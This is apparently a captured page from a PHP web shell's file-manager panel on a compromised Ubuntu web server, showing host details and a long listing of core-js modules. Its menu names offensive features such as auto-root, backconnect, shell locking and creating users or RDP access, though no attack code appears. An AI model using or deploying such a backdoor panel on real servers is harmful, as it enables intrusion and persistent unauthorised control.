Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.2
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
quiz1 /
node_modules /
core-js /
modules /
[ HOME SHELL ]
Name
Size
Permission
Action
README.md
164
B
-rw-rw-rw-
es.aggregate-error.cause.js
976
B
-rw-rw-rw-
es.aggregate-error.constructor...
2.32
KB
-rw-rw-rw-
es.aggregate-error.js
149
B
-rw-rw-rw-
es.array-buffer.constructor.js
588
B
-rw-rw-rw-
es.array-buffer.detached.js
596
B
-rw-rw-rw-
es.array-buffer.is-view.js
411
B
-rw-rw-rw-
es.array-buffer.slice.js
1.59
KB
-rw-rw-rw-
es.array-buffer.transfer-to-fi...
479
B
-rw-rw-rw-
es.array-buffer.transfer.js
426
B
-rw-rw-rw-
es.array.at.js
733
B
-rw-rw-rw-
es.array.concat.js
2.25
KB
-rw-rw-rw-
es.array.copy-within.js
442
B
-rw-rw-rw-
es.array.every.js
538
B
-rw-rw-rw-
es.array.fill.js
399
B
-rw-rw-rw-
es.array.filter.js
622
B
-rw-rw-rw-
es.array.find-index.js
840
B
-rw-rw-rw-
es.array.find-last-index.js
567
B
-rw-rw-rw-
es.array.find-last.js
527
B
-rw-rw-rw-
es.array.find.js
771
B
-rw-rw-rw-
es.array.flat-map.js
837
B
-rw-rw-rw-
es.array.flat.js
865
B
-rw-rw-rw-
es.array.for-each.js
360
B
-rw-rw-rw-
es.array.from.js
518
B
-rw-rw-rw-
es.array.includes.js
794
B
-rw-rw-rw-
es.array.index-of.js
973
B
-rw-rw-rw-
es.array.is-array.js
235
B
-rw-rw-rw-
es.array.iterator.js
2.55
KB
-rw-rw-rw-
es.array.join.js
739
B
-rw-rw-rw-
es.array.last-index-of.js
413
B
-rw-rw-rw-
es.array.map.js
598
B
-rw-rw-rw-
es.array.of.js
893
B
-rw-rw-rw-
es.array.push.js
1.44
KB
-rw-rw-rw-
es.array.reduce-right.js
901
B
-rw-rw-rw-
es.array.reduce.js
880
B
-rw-rw-rw-
es.array.reverse.js
672
B
-rw-rw-rw-
es.array.slice.js
2.06
KB
-rw-rw-rw-
es.array.some.js
530
B
-rw-rw-rw-
es.array.sort.js
3.22
KB
-rw-rw-rw-
es.array.species.js
171
B
-rw-rw-rw-
es.array.splice.js
2.73
KB
-rw-rw-rw-
es.array.to-reversed.js
547
B
-rw-rw-rw-
es.array.to-sorted.js
958
B
-rw-rw-rw-
es.array.to-spliced.js
1.64
KB
-rw-rw-rw-
es.array.unscopables.flat-map....
292
B
-rw-rw-rw-
es.array.unscopables.flat.js
289
B
-rw-rw-rw-
es.array.unshift.js
1.54
KB
-rw-rw-rw-
es.array.with.js
428
B
-rw-rw-rw-
es.data-view.constructor.js
390
B
-rw-rw-rw-
es.data-view.js
143
B
-rw-rw-rw-
es.date.get-year.js
631
B
-rw-rw-rw-
es.date.now.js
399
B
-rw-rw-rw-
es.date.set-year.js
686
B
-rw-rw-rw-
es.date.to-gmt-string.js
236
B
-rw-rw-rw-
es.date.to-iso-string.js
390
B
-rw-rw-rw-
es.date.to-json.js
774
B
-rw-rw-rw-
es.date.to-primitive.js
561
B
-rw-rw-rw-
es.date.to-string.js
772
B
-rw-rw-rw-
es.error.cause.js
2.56
KB
-rw-rw-rw-
es.error.to-string.js
385
B
-rw-rw-rw-
es.escape.js
1.13
KB
-rw-rw-rw-
es.function.bind.js
391
B
-rw-rw-rw-
es.function.has-instance.js
905
B
-rw-rw-rw-
es.function.name.js
914
B
-rw-rw-rw-
es.global-this.js
272
B
-rw-rw-rw-
es.iterator.constructor.js
2.47
KB
-rw-rw-rw-
es.iterator.drop.js
1.21
KB
-rw-rw-rw-
es.iterator.every.js
738
B
-rw-rw-rw-
es.iterator.filter.js
1.24
KB
-rw-rw-rw-
es.iterator.find.js
736
B
-rw-rw-rw-
es.iterator.flat-map.js
1.51
KB
-rw-rw-rw-
es.iterator.for-each.js
664
B
-rw-rw-rw-
es.iterator.from.js
1013
B
-rw-rw-rw-
es.iterator.map.js
325
B
-rw-rw-rw-
es.iterator.reduce.js
1.06
KB
-rw-rw-rw-
es.iterator.some.js
732
B
-rw-rw-rw-
es.iterator.take.js
1.19
KB
-rw-rw-rw-
es.iterator.to-array.js
562
B
-rw-rw-rw-
es.json.stringify.js
2.98
KB
-rw-rw-rw-
es.json.to-string-tag.js
263
B
-rw-rw-rw-
es.map.constructor.js
350
B
-rw-rw-rw-
es.map.group-by.js
1.21
KB
-rw-rw-rw-
es.map.js
137
B
-rw-rw-rw-
es.math.acosh.js
771
B
-rw-rw-rw-
es.math.asinh.js
538
B
-rw-rw-rw-
es.math.atanh.js
481
B
-rw-rw-rw-
es.math.cbrt.js
334
B
-rw-rw-rw-
es.math.clz32.js
338
B
-rw-rw-rw-
es.math.cosh.js
510
B
-rw-rw-rw-
es.math.expm1.js
321
B
-rw-rw-rw-
es.math.fround.js
228
B
-rw-rw-rw-
es.math.hypot.js
1009
B
-rw-rw-rw-
es.math.imul.js
716
B
-rw-rw-rw-
es.math.log10.js
224
B
-rw-rw-rw-
es.math.log1p.js
222
B
-rw-rw-rw-
es.math.log2.js
256
B
-rw-rw-rw-
es.math.sign.js
218
B
-rw-rw-rw-
es.math.sinh.js
669
B
-rw-rw-rw-
es.math.tanh.js
404
B
-rw-rw-rw-
es.math.to-string-tag.js
198
B
-rw-rw-rw-
es.math.trunc.js
224
B
-rw-rw-rw-
es.number.constructor.js
4.52
KB
-rw-rw-rw-
es.number.epsilon.js
243
B
-rw-rw-rw-
es.number.is-finite.js
261
B
-rw-rw-rw-
es.number.is-integer.js
272
B
-rw-rw-rw-
es.number.is-nan.js
296
B
-rw-rw-rw-
es.number.is-safe-integer.js
397
B
-rw-rw-rw-
es.number.max-safe-integer.js
270
B
-rw-rw-rw-
es.number.min-safe-integer.js
271
B
-rw-rw-rw-
es.number.parse-float.js
381
B
-rw-rw-rw-
es.number.parse-int.js
363
B
-rw-rw-rw-
es.number.to-exponential.js
2.93
KB
-rw-rw-rw-
es.number.to-fixed.js
3.63
KB
-rw-rw-rw-
es.number.to-precision.js
815
B
-rw-rw-rw-
es.object.assign.js
354
B
-rw-rw-rw-
es.object.create.js
346
B
-rw-rw-rw-
es.object.define-getter.js
737
B
-rw-rw-rw-
es.object.define-properties.js
496
B
-rw-rw-rw-
es.object.define-property.js
478
B
-rw-rw-rw-
es.object.define-setter.js
737
B
-rw-rw-rw-
es.object.entries.js
296
B
-rw-rw-rw-
es.object.freeze.js
673
B
-rw-rw-rw-
es.object.from-entries.js
477
B
-rw-rw-rw-
es.object.get-own-property-des...
738
B
-rw-rw-rw-
es.object.get-own-property-des...
1.01
KB
-rw-rw-rw-
es.object.get-own-property-nam...
577
B
-rw-rw-rw-
es.object.get-own-property-sym...
904
B
-rw-rw-rw-
es.object.get-prototype-of.js
673
B
-rw-rw-rw-
es.object.group-by.js
1.43
KB
-rw-rw-rw-
es.object.has-own.js
241
B
-rw-rw-rw-
es.object.is-extensible.js
386
B
-rw-rw-rw-
es.object.is-frozen.js
800
B
-rw-rw-rw-
es.object.is-sealed.js
800
B
-rw-rw-rw-
es.object.is.js
215
B
-rw-rw-rw-
es.object.keys.js
476
B
-rw-rw-rw-
es.object.lookup-getter.js
911
B
-rw-rw-rw-
es.object.lookup-setter.js
911
B
-rw-rw-rw-
es.object.prevent-extensions.j...
783
B
-rw-rw-rw-
es.object.proto.js
1.22
KB
-rw-rw-rw-
es.object.seal.js
653
B
-rw-rw-rw-
es.object.set-prototype-of.js
288
B
-rw-rw-rw-
es.object.to-string.js
411
B
-rw-rw-rw-
es.object.values.js
289
B
-rw-rw-rw-
es.parse-float.js
278
B
-rw-rw-rw-
es.parse-int.js
268
B
-rw-rw-rw-
es.promise.all-settled.js
1.64
KB
-rw-rw-rw-
es.promise.all.js
1.39
KB
-rw-rw-rw-
es.promise.any.js
1.82
KB
-rw-rw-rw-
es.promise.catch.js
1.14
KB
-rw-rw-rw-
es.promise.constructor.js
9.66
KB
-rw-rw-rw-
es.promise.finally.js
1.87
KB
-rw-rw-rw-
es.promise.js
346
B
-rw-rw-rw-
es.promise.race.js
1.02
KB
-rw-rw-rw-
es.promise.reject.js
583
B
-rw-rw-rw-
es.promise.resolve.js
838
B
-rw-rw-rw-
es.promise.try.js
1.28
KB
-rw-rw-rw-
es.promise.with-resolvers.js
522
B
-rw-rw-rw-
es.reflect.apply.js
775
B
-rw-rw-rw-
es.reflect.construct.js
2.25
KB
-rw-rw-rw-
es.reflect.define-property.js
1.09
KB
-rw-rw-rw-
es.reflect.delete-property.js
566
B
-rw-rw-rw-
es.reflect.get-own-property-de...
595
B
-rw-rw-rw-
es.reflect.get-prototype-of.js
535
B
-rw-rw-rw-
es.reflect.get.js
1.07
KB
-rw-rw-rw-
es.reflect.has.js
247
B
-rw-rw-rw-
es.reflect.is-extensible.js
408
B
-rw-rw-rw-
es.reflect.own-keys.js
241
B
-rw-rw-rw-
es.reflect.prevent-extensions....
673
B
-rw-rw-rw-
es.reflect.set-prototype-of.js
647
B
-rw-rw-rw-
es.reflect.set.js
2.27
KB
-rw-rw-rw-
es.reflect.to-string-tag.js
354
B
-rw-rw-rw-
es.regexp.constructor.js
6.69
KB
-rw-rw-rw-
es.regexp.dot-all.js
1006
B
-rw-rw-rw-
es.regexp.exec.js
274
B
-rw-rw-rw-
es.regexp.flags.js
1.56
KB
-rw-rw-rw-
es.regexp.sticky.js
1003
B
-rw-rw-rw-
es.regexp.test.js
1.05
KB
-rw-rw-rw-
es.regexp.to-string.js
1.06
KB
-rw-rw-rw-
es.set.constructor.js
350
B
-rw-rw-rw-
es.set.difference.v2.js
411
B
-rw-rw-rw-
es.set.intersection.v2.js
680
B
-rw-rw-rw-
es.set.is-disjoint-from.v2.js
441
B
-rw-rw-rw-
es.set.is-subset-of.v2.js
413
B
-rw-rw-rw-
es.set.is-superset-of.v2.js
427
B
-rw-rw-rw-
es.set.js
137
B
-rw-rw-rw-
es.set.symmetric-difference.v2...
475
B
-rw-rw-rw-
es.set.union.v2.js
376
B
-rw-rw-rw-
es.string.anchor.js
445
B
-rw-rw-rw-
es.string.at-alternative.js
974
B
-rw-rw-rw-
es.string.big.js
422
B
-rw-rw-rw-
es.string.blink.js
434
B
-rw-rw-rw-
es.string.bold.js
425
B
-rw-rw-rw-
es.string.code-point-at.js
339
B
-rw-rw-rw-
es.string.ends-with.js
1.55
KB
-rw-rw-rw-
es.string.fixed.js
431
B
-rw-rw-rw-
es.string.fontcolor.js
466
B
-rw-rw-rw-
es.string.fontsize.js
458
B
-rw-rw-rw-
es.string.from-code-point.js
1.21
KB
-rw-rw-rw-
es.string.includes.js
857
B
-rw-rw-rw-
es.string.is-well-formed.js
880
B
-rw-rw-rw-
es.string.italics.js
440
B
-rw-rw-rw-
es.string.iterator.js
1.16
KB
-rw-rw-rw-
es.string.link.js
433
B
-rw-rw-rw-
es.string.match-all.js
4.3
KB
-rw-rw-rw-
es.string.match.js
1.81
KB
-rw-rw-rw-
es.string.pad-end.js
482
B
-rw-rw-rw-
es.string.pad-start.js
496
B
-rw-rw-rw-
es.string.raw.js
1012
B
-rw-rw-rw-
es.string.repeat.js
259
B
-rw-rw-rw-
es.string.replace-all.js
2.75
KB
-rw-rw-rw-
es.string.replace.js
5.53
KB
-rw-rw-rw-
es.string.search.js
1.6
KB
-rw-rw-rw-
es.string.small.js
434
B
-rw-rw-rw-
es.string.split.js
4.54
KB
-rw-rw-rw-
es.string.starts-with.js
1.49
KB
-rw-rw-rw-
es.string.strike.js
440
B
-rw-rw-rw-
es.string.sub.js
422
B
-rw-rw-rw-
es.string.substr.js
1.22
KB
-rw-rw-rw-
es.string.sup.js
422
B
-rw-rw-rw-
es.string.to-well-formed.js
1.61
KB
-rw-rw-rw-
es.string.trim-end.js
479
B
-rw-rw-rw-
es.string.trim-left.js
407
B
-rw-rw-rw-
es.string.trim-right.js
399
B
-rw-rw-rw-
es.string.trim-start.js
496
B
-rw-rw-rw-
es.string.trim.js
407
B
-rw-rw-rw-
es.symbol.async-iterator.js
230
B
-rw-rw-rw-
es.symbol.constructor.js
10.77
KB
-rw-rw-rw-
es.symbol.description.js
2.63
KB
-rw-rw-rw-
es.symbol.for.js
919
B
-rw-rw-rw-
es.symbol.has-instance.js
224
B
-rw-rw-rw-
es.symbol.is-concat-spreadable...
245
B
-rw-rw-rw-
es.symbol.iterator.js
215
B
-rw-rw-rw-
es.symbol.js
322
B
-rw-rw-rw-
es.symbol.key-for.js
758
B
-rw-rw-rw-
es.symbol.match-all.js
215
B
-rw-rw-rw-
es.symbol.match.js
206
B
-rw-rw-rw-
es.symbol.replace.js
212
B
-rw-rw-rw-
es.symbol.search.js
209
B
-rw-rw-rw-
es.symbol.species.js
212
B
-rw-rw-rw-
es.symbol.split.js
206
B
-rw-rw-rw-
es.symbol.to-primitive.js
441
B
-rw-rw-rw-
es.symbol.to-string-tag.js
501
B
-rw-rw-rw-
es.symbol.unscopables.js
224
B
-rw-rw-rw-
es.typed-array.at.js
738
B
-rw-rw-rw-
es.typed-array.copy-within.js
713
B
-rw-rw-rw-
es.typed-array.every.js
554
B
-rw-rw-rw-
es.typed-array.fill.js
1.24
KB
-rw-rw-rw-
es.typed-array.filter.js
694
B
-rw-rw-rw-
es.typed-array.find-index.js
580
B
-rw-rw-rw-
es.typed-array.find-last-index...
618
B
-rw-rw-rw-
es.typed-array.find-last.js
583
B
-rw-rw-rw-
es.typed-array.find.js
545
B
-rw-rw-rw-
es.typed-array.float32-array.j...
353
B
-rw-rw-rw-
es.typed-array.float64-array.j...
353
B
-rw-rw-rw-
es.typed-array.for-each.js
561
B
-rw-rw-rw-
es.typed-array.from.js
486
B
-rw-rw-rw-
es.typed-array.includes.js
582
B
-rw-rw-rw-
es.typed-array.index-of.js
575
B
-rw-rw-rw-
es.typed-array.int16-array.js
347
B
-rw-rw-rw-
es.typed-array.int32-array.js
347
B
-rw-rw-rw-
es.typed-array.int8-array.js
344
B
-rw-rw-rw-
es.typed-array.iterator.js
1.97
KB
-rw-rw-rw-
es.typed-array.join.js
521
B
-rw-rw-rw-
es.typed-array.last-index-of.j...
686
B
-rw-rw-rw-
es.typed-array.map.js
689
B
-rw-rw-rw-
es.typed-array.of.js
742
B
-rw-rw-rw-
es.typed-array.reduce-right.js
623
B
-rw-rw-rw-
es.typed-array.reduce.js
592
B
-rw-rw-rw-
es.typed-array.reverse.js
658
B
-rw-rw-rw-
es.typed-array.set.js
1.95
KB
-rw-rw-rw-
es.typed-array.slice.js
948
B
-rw-rw-rw-
es.typed-array.some.js
547
B
-rw-rw-rw-
es.typed-array.sort.js
2.43
KB
-rw-rw-rw-
es.typed-array.subarray.js
904
B
-rw-rw-rw-
es.typed-array.to-locale-strin...
1.15
KB
-rw-rw-rw-
es.typed-array.to-reversed.js
610
B
-rw-rw-rw-
es.typed-array.to-sorted.js
929
B
-rw-rw-rw-
es.typed-array.to-string.js
832
B
-rw-rw-rw-
es.typed-array.uint16-array.js
350
B
-rw-rw-rw-
es.typed-array.uint32-array.js
350
B
-rw-rw-rw-
es.typed-array.uint8-array.js
347
B
-rw-rw-rw-
es.typed-array.uint8-clamped-a...
367
B
-rw-rw-rw-
es.typed-array.with.js
1.36
KB
-rw-rw-rw-
es.unescape.js
1.22
KB
-rw-rw-rw-
es.weak-map.constructor.js
4.12
KB
-rw-rw-rw-
es.weak-map.js
142
B
-rw-rw-rw-
es.weak-set.constructor.js
364
B
-rw-rw-rw-
es.weak-set.js
142
B
-rw-rw-rw-
esnext.aggregate-error.js
89
B
-rw-rw-rw-
esnext.array-buffer.detached.j...
95
B
-rw-rw-rw-
esnext.array-buffer.transfer-t...
111
B
-rw-rw-rw-
esnext.array-buffer.transfer.j...
95
B
-rw-rw-rw-
esnext.array.at.js
82
B
-rw-rw-rw-
esnext.array.filter-out.js
566
B
-rw-rw-rw-
esnext.array.filter-reject.js
545
B
-rw-rw-rw-
esnext.array.find-last-index.j...
95
B
-rw-rw-rw-
esnext.array.find-last.js
89
B
-rw-rw-rw-
esnext.array.from-async.js
631
B
-rw-rw-rw-
esnext.array.group-by-to-map.j...
662
B
-rw-rw-rw-
esnext.array.group-by.js
704
B
-rw-rw-rw-
esnext.array.group-to-map.js
439
B
-rw-rw-rw-
esnext.array.group.js
498
B
-rw-rw-rw-
esnext.array.is-template-objec...
963
B
-rw-rw-rw-
esnext.array.last-index.js
743
B
-rw-rw-rw-
esnext.array.last-item.js
913
B
-rw-rw-rw-
esnext.array.to-reversed.js
91
B
-rw-rw-rw-
esnext.array.to-sorted.js
89
B
-rw-rw-rw-
esnext.array.to-spliced.js
90
B
-rw-rw-rw-
esnext.array.unique-by.js
372
B
-rw-rw-rw-
esnext.array.with.js
84
B
-rw-rw-rw-
esnext.async-disposable-stack....
4.59
KB
-rw-rw-rw-
esnext.async-iterator.as-index...
373
B
-rw-rw-rw-
esnext.async-iterator.async-di...
1012
B
-rw-rw-rw-
esnext.async-iterator.construc...
1.42
KB
-rw-rw-rw-
esnext.async-iterator.drop.js
1.74
KB
-rw-rw-rw-
esnext.async-iterator.every.js
364
B
-rw-rw-rw-
esnext.async-iterator.filter.j...
2.33
KB
-rw-rw-rw-
esnext.async-iterator.find.js
358
B
-rw-rw-rw-
esnext.async-iterator.flat-map...
3.13
KB
-rw-rw-rw-
esnext.async-iterator.for-each...
362
B
-rw-rw-rw-
esnext.async-iterator.from.js
892
B
-rw-rw-rw-
esnext.async-iterator.indexed....
342
B
-rw-rw-rw-
esnext.async-iterator.map.js
346
B
-rw-rw-rw-
esnext.async-iterator.reduce.j...
2.31
KB
-rw-rw-rw-
esnext.async-iterator.some.js
358
B
-rw-rw-rw-
esnext.async-iterator.take.js
1.72
KB
-rw-rw-rw-
esnext.async-iterator.to-array...
371
B
-rw-rw-rw-
esnext.bigint.range.js
521
B
-rw-rw-rw-
esnext.composite-key.js
685
B
-rw-rw-rw-
esnext.composite-symbol.js
601
B
-rw-rw-rw-
esnext.data-view.get-float16.j...
662
B
-rw-rw-rw-
esnext.data-view.get-uint8-cla...
506
B
-rw-rw-rw-
esnext.data-view.set-float16.j...
881
B
-rw-rw-rw-
esnext.data-view.set-uint8-cla...
755
B
-rw-rw-rw-
esnext.disposable-stack.constr...
3.92
KB
-rw-rw-rw-
esnext.function.demethodize.js
308
B
-rw-rw-rw-
esnext.function.is-callable.js
1.3
KB
-rw-rw-rw-
esnext.function.is-constructor...
334
B
-rw-rw-rw-
esnext.function.metadata.js
450
B
-rw-rw-rw-
esnext.function.un-this.js
352
B
-rw-rw-rw-
esnext.global-this.js
85
B
-rw-rw-rw-
esnext.iterator.as-indexed-pai...
357
B
-rw-rw-rw-
esnext.iterator.concat.js
1.62
KB
-rw-rw-rw-
esnext.iterator.constructor.js
94
B
-rw-rw-rw-
esnext.iterator.dispose.js
680
B
-rw-rw-rw-
esnext.iterator.drop.js
87
B
-rw-rw-rw-
esnext.iterator.every.js
88
B
-rw-rw-rw-
esnext.iterator.filter.js
89
B
-rw-rw-rw-
esnext.iterator.find.js
87
B
-rw-rw-rw-
esnext.iterator.flat-map.js
91
B
-rw-rw-rw-
esnext.iterator.for-each.js
91
B
-rw-rw-rw-
esnext.iterator.from.js
87
B
-rw-rw-rw-
esnext.iterator.indexed.js
326
B
-rw-rw-rw-
esnext.iterator.map.js
86
B
-rw-rw-rw-
esnext.iterator.range.js
671
B
-rw-rw-rw-
esnext.iterator.reduce.js
89
B
-rw-rw-rw-
esnext.iterator.some.js
87
B
-rw-rw-rw-
esnext.iterator.take.js
87
B
-rw-rw-rw-
esnext.iterator.to-array.js
91
B
-rw-rw-rw-
esnext.iterator.to-async.js
691
B
-rw-rw-rw-
esnext.json.is-raw-json.js
413
B
-rw-rw-rw-
esnext.json.parse.js
8.26
KB
-rw-rw-rw-
esnext.json.raw-json.js
3.22
KB
-rw-rw-rw-
esnext.map.delete-all.js
633
B
-rw-rw-rw-
esnext.map.emplace.js
757
B
-rw-rw-rw-
esnext.map.every.js
663
B
-rw-rw-rw-
esnext.map.filter.js
807
B
-rw-rw-rw-
esnext.map.find-key.js
704
B
-rw-rw-rw-
esnext.map.find.js
701
B
-rw-rw-rw-
esnext.map.from.js
381
B
-rw-rw-rw-
esnext.map.get-or-insert-compu...
771
B
-rw-rw-rw-
esnext.map.get-or-insert.js
529
B
-rw-rw-rw-
esnext.map.group-by.js
86
B
-rw-rw-rw-
esnext.map.includes.js
549
B
-rw-rw-rw-
esnext.map.key-by.js
764
B
-rw-rw-rw-
esnext.map.key-of.js
510
B
-rw-rw-rw-
esnext.map.map-keys.js
801
B
-rw-rw-rw-
esnext.map.map-values.js
805
B
-rw-rw-rw-
esnext.map.merge.js
745
B
-rw-rw-rw-
esnext.map.of.js
369
B
-rw-rw-rw-
esnext.map.reduce.js
928
B
-rw-rw-rw-
esnext.map.some.js
657
B
-rw-rw-rw-
esnext.map.update-or-insert.js
372
B
-rw-rw-rw-
esnext.map.update.js
922
B
-rw-rw-rw-
esnext.map.upsert.js
340
B
-rw-rw-rw-
esnext.math.clamp.js
314
B
-rw-rw-rw-
esnext.math.deg-per-rad.js
253
B
-rw-rw-rw-
esnext.math.degrees.js
301
B
-rw-rw-rw-
esnext.math.f16round.js
243
B
-rw-rw-rw-
esnext.math.fscale.js
416
B
-rw-rw-rw-
esnext.math.iaddh.js
434
B
-rw-rw-rw-
esnext.math.imulh.js
539
B
-rw-rw-rw-
esnext.math.isubh.js
433
B
-rw-rw-rw-
esnext.math.rad-per-deg.js
253
B
-rw-rw-rw-
esnext.math.radians.js
301
B
-rw-rw-rw-
esnext.math.scale.js
251
B
-rw-rw-rw-
esnext.math.seeded-prng.js
1.57
KB
-rw-rw-rw-
esnext.math.signbit.js
358
B
-rw-rw-rw-
esnext.math.sum-precise.js
4.59
KB
-rw-rw-rw-
esnext.math.umulh.js
543
B
-rw-rw-rw-
esnext.number.from-string.js
1.7
KB
-rw-rw-rw-
esnext.number.range.js
416
B
-rw-rw-rw-
esnext.object.group-by.js
89
B
-rw-rw-rw-
esnext.object.has-own.js
88
B
-rw-rw-rw-
esnext.object.iterate-entries....
399
B
-rw-rw-rw-
esnext.object.iterate-keys.js
387
B
-rw-rw-rw-
esnext.object.iterate-values.j...
395
B
-rw-rw-rw-
esnext.observable.constructor....
6.2
KB
-rw-rw-rw-
esnext.observable.from.js
1.32
KB
-rw-rw-rw-
esnext.observable.js
243
B
-rw-rw-rw-
esnext.observable.of.js
764
B
-rw-rw-rw-
esnext.promise.all-settled.js
96
B
-rw-rw-rw-
esnext.promise.any.js
85
B
-rw-rw-rw-
esnext.promise.try.js
88
B
-rw-rw-rw-
esnext.promise.with-resolvers....
96
B
-rw-rw-rw-
esnext.reflect.define-metadata...
717
B
-rw-rw-rw-
esnext.reflect.delete-metadata...
977
B
-rw-rw-rw-
esnext.reflect.get-metadata-ke...
1.22
KB
-rw-rw-rw-
esnext.reflect.get-metadata.js
1.08
KB
-rw-rw-rw-
esnext.reflect.get-own-metadat...
677
B
-rw-rw-rw-
esnext.reflect.get-own-metadat...
688
B
-rw-rw-rw-
esnext.reflect.has-metadata.js
1006
B
-rw-rw-rw-
esnext.reflect.has-own-metadat...
688
B
-rw-rw-rw-
esnext.reflect.metadata.js
619
B
-rw-rw-rw-
esnext.regexp.escape.js
2.3
KB
-rw-rw-rw-
esnext.set.add-all.js
487
B
-rw-rw-rw-
esnext.set.delete-all.js
633
B
-rw-rw-rw-
esnext.set.difference.js
519
B
-rw-rw-rw-
esnext.set.difference.v2.js
91
B
-rw-rw-rw-
esnext.set.every.js
660
B
-rw-rw-rw-
esnext.set.filter.js
799
B
-rw-rw-rw-
esnext.set.find.js
698
B
-rw-rw-rw-
esnext.set.from.js
382
B
-rw-rw-rw-
esnext.set.intersection.js
531
B
-rw-rw-rw-
esnext.set.intersection.v2.js
93
B
-rw-rw-rw-
esnext.set.is-disjoint-from.js
545
B
-rw-rw-rw-
esnext.set.is-disjoint-from.v2...
97
B
-rw-rw-rw-
esnext.set.is-subset-of.js
521
B
-rw-rw-rw-
esnext.set.is-subset-of.v2.js
93
B
-rw-rw-rw-
esnext.set.is-superset-of.js
533
B
-rw-rw-rw-
esnext.set.is-superset-of.v2.j...
95
B
-rw-rw-rw-
esnext.set.join.js
743
B
-rw-rw-rw-
esnext.set.map.js
779
B
-rw-rw-rw-
esnext.set.of.js
370
B
-rw-rw-rw-
esnext.set.reduce.js
925
B
-rw-rw-rw-
esnext.set.some.js
654
B
-rw-rw-rw-
esnext.set.symmetric-differenc...
574
B
-rw-rw-rw-
esnext.set.symmetric-differenc...
101
B
-rw-rw-rw-
esnext.set.union.js
489
B
-rw-rw-rw-
esnext.set.union.v2.js
86
B
-rw-rw-rw-
esnext.string.at-alternative.j...
95
B
-rw-rw-rw-
esnext.string.at.js
786
B
-rw-rw-rw-
esnext.string.code-points.js
1.56
KB
-rw-rw-rw-
esnext.string.cooked.js
256
B
-rw-rw-rw-
esnext.string.dedent.js
5.02
KB
-rw-rw-rw-
esnext.string.is-well-formed.j...
95
B
-rw-rw-rw-
esnext.string.match-all.js
90
B
-rw-rw-rw-
esnext.string.replace-all.js
92
B
-rw-rw-rw-
esnext.string.to-well-formed.j...
95
B
-rw-rw-rw-
esnext.suppressed-error.constr...
2.93
KB
-rw-rw-rw-
esnext.symbol.async-dispose.js
955
B
-rw-rw-rw-
esnext.symbol.custom-matcher.j...
230
B
-rw-rw-rw-
esnext.symbol.dispose.js
929
B
-rw-rw-rw-
esnext.symbol.is-registered-sy...
324
B
-rw-rw-rw-
esnext.symbol.is-registered.js
360
B
-rw-rw-rw-
esnext.symbol.is-well-known-sy...
451
B
-rw-rw-rw-
esnext.symbol.is-well-known.js
486
B
-rw-rw-rw-
esnext.symbol.matcher.js
218
B
-rw-rw-rw-
esnext.symbol.metadata-key.js
261
B
-rw-rw-rw-
esnext.symbol.metadata.js
214
B
-rw-rw-rw-
esnext.symbol.observable.js
218
B
-rw-rw-rw-
esnext.symbol.pattern-match.js
261
B
-rw-rw-rw-
esnext.symbol.replace-all.js
163
B
-rw-rw-rw-
esnext.typed-array.at.js
88
B
-rw-rw-rw-
esnext.typed-array.filter-out....
750
B
-rw-rw-rw-
esnext.typed-array.filter-reje...
726
B
-rw-rw-rw-
esnext.typed-array.find-last-i...
101
B
-rw-rw-rw-
esnext.typed-array.find-last.j...
95
B
-rw-rw-rw-
esnext.typed-array.from-async....
1.17
KB
-rw-rw-rw-
esnext.typed-array.group-by.js
707
B
-rw-rw-rw-
esnext.typed-array.to-reversed...
97
B
-rw-rw-rw-
esnext.typed-array.to-sorted.j...
95
B
-rw-rw-rw-
esnext.typed-array.to-spliced....
2.59
KB
-rw-rw-rw-
esnext.typed-array.unique-by.j...
848
B
-rw-rw-rw-
esnext.typed-array.with.js
90
B
-rw-rw-rw-
esnext.uint8-array.from-base64...
694
B
-rw-rw-rw-
esnext.uint8-array.from-hex.js
457
B
-rw-rw-rw-
esnext.uint8-array.set-from-ba...
696
B
-rw-rw-rw-
esnext.uint8-array.set-from-he...
726
B
-rw-rw-rw-
esnext.uint8-array.to-base64.j...
1.75
KB
-rw-rw-rw-
esnext.uint8-array.to-hex.js
809
B
-rw-rw-rw-
esnext.weak-map.delete-all.js
659
B
-rw-rw-rw-
esnext.weak-map.emplace.js
799
B
-rw-rw-rw-
esnext.weak-map.from.js
414
B
-rw-rw-rw-
esnext.weak-map.get-or-insert-...
760
B
-rw-rw-rw-
esnext.weak-map.get-or-insert....
571
B
-rw-rw-rw-
esnext.weak-map.of.js
402
B
-rw-rw-rw-
esnext.weak-map.upsert.js
346
B
-rw-rw-rw-
esnext.weak-set.add-all.js
513
B
-rw-rw-rw-
esnext.weak-set.delete-all.js
659
B
-rw-rw-rw-
esnext.weak-set.from.js
415
B
-rw-rw-rw-
esnext.weak-set.of.js
403
B
-rw-rw-rw-
web.atob.js
2.26
KB
-rw-rw-rw-
web.btoa.js
1.86
KB
-rw-rw-rw-
web.clear-immediate.js
392
B
-rw-rw-rw-
web.dom-collections.for-each.j...
918
B
-rw-rw-rw-
web.dom-collections.iterator.j...
1.69
KB
-rw-rw-rw-
web.dom-exception.constructor....
5.95
KB
-rw-rw-rw-
web.dom-exception.stack.js
3.18
KB
-rw-rw-rw-
web.dom-exception.to-string-ta...
281
B
-rw-rw-rw-
web.immediate.js
184
B
-rw-rw-rw-
web.queue-microtask.js
1.07
KB
-rw-rw-rw-
web.self.js
1.49
KB
-rw-rw-rw-
web.set-immediate.js
564
B
-rw-rw-rw-
web.set-interval.js
485
B
-rw-rw-rw-
web.set-timeout.js
477
B
-rw-rw-rw-
web.structured-clone.js
18.9
KB
-rw-rw-rw-
web.timers.js
179
B
-rw-rw-rw-
web.url-search-params.construc...
16.75
KB
-rw-rw-rw-
web.url-search-params.delete.j...
1.79
KB
-rw-rw-rw-
web.url-search-params.has.js
1.2
KB
-rw-rw-rw-
web.url-search-params.js
152
B
-rw-rw-rw-
web.url-search-params.size.js
713
B
-rw-rw-rw-
web.url.can-parse.js
1.19
KB
-rw-rw-rw-
web.url.constructor.js
35.05
KB
-rw-rw-rw-
web.url.js
138
B
-rw-rw-rw-
web.url.parse.js
801
B
-rw-rw-rw-
web.url.to-json.js
324
B
-rw-rw-rw-
Delete
Unzip
Zip
